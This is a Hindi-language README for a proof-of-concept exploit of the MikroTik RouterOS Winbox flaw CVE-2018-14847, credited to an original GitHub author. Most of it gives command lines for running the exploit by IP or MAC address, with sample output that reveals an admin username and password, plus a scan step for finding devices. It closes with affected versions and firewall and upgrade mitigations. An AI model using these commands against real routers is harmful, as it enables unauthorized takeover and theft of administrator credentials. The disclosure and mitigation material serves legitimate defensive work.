मिक्रोटिक लॉगिन एक्सप्लॉइट

PoC (Proof of Concept) मिक्रोटिक CVE-2018-14847 कमजोरी (विशेषकर विनबॉक्स पर) का है, जो डिफ़ॉल्ट पोर्ट 8291 पर RouterOS से सीधे पासवर्ड पढ़ने का तरीका काम करता है।

मूल लेखक: https://github.com/BigNerd95/

आवश्यकताएँ

• Python 3+

लिनक्स पर स्थापना

apt install python3

उपयोग उदाहरण

WinBox (TCP/IP)

python3 WinboxExploit.py <IP-ADDRESS> [PORT]

e.g:

$ python3 WinboxExploit.py 192.168.1.1
Connected to 192.168.1.1:8291
Exploit successful
User: admin
Pass: oppaidaisuki123

MAC पते का उपयोग करना

आप बिना IP पते के भी इस स्क्रिप्ट का उपयोग कर सकते हैं।

राउटर को स्कैन करने के लिए MACServerDiscovery.py का उपयोग करें।

python3 MACServerDiscover.py

e.g:

$ python3 MACServerDiscover.py
Looking for Mikrotik devices (MAC servers)

    aa:bb:cc:dd:ee:ff 

    aa:bb:cc:dd:ee:aa

शोषण:

python3 MACServerExploit.py <MAC-ADDRESS>

e.g:

$ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff

User: admin
Pass: oppaidaisuki123

संवेदनशील संस्करण

RouterOS रिलीज़ 2015-05-28 से 2018-04-20 तक

RouterOS संस्करण:

• Longterm: 6.30.1 - 6.40.7
• Stable: 6.29 - 6.42
• Beta: 6.29rc1 - 6.43rc3

अधिक जानकारी: https://blog.mikrotik.com/security/winbox-vulnerability.html

शोषण रोकथाम

• RouterOS को 6.42+ में अपग्रेड करें
• Winbox को निष्क्रिय करें
• सेवा को ब्लॉक करें:

/ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16

• फ़िल्टर नियम (ACL), पोर्ट 8291 को ब्लॉक करें:

/ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop

• MAC पते से विनबॉक्स लॉगिन एक्सेस को प्रतिबंधित करें:

/tool mac-server mac-winbox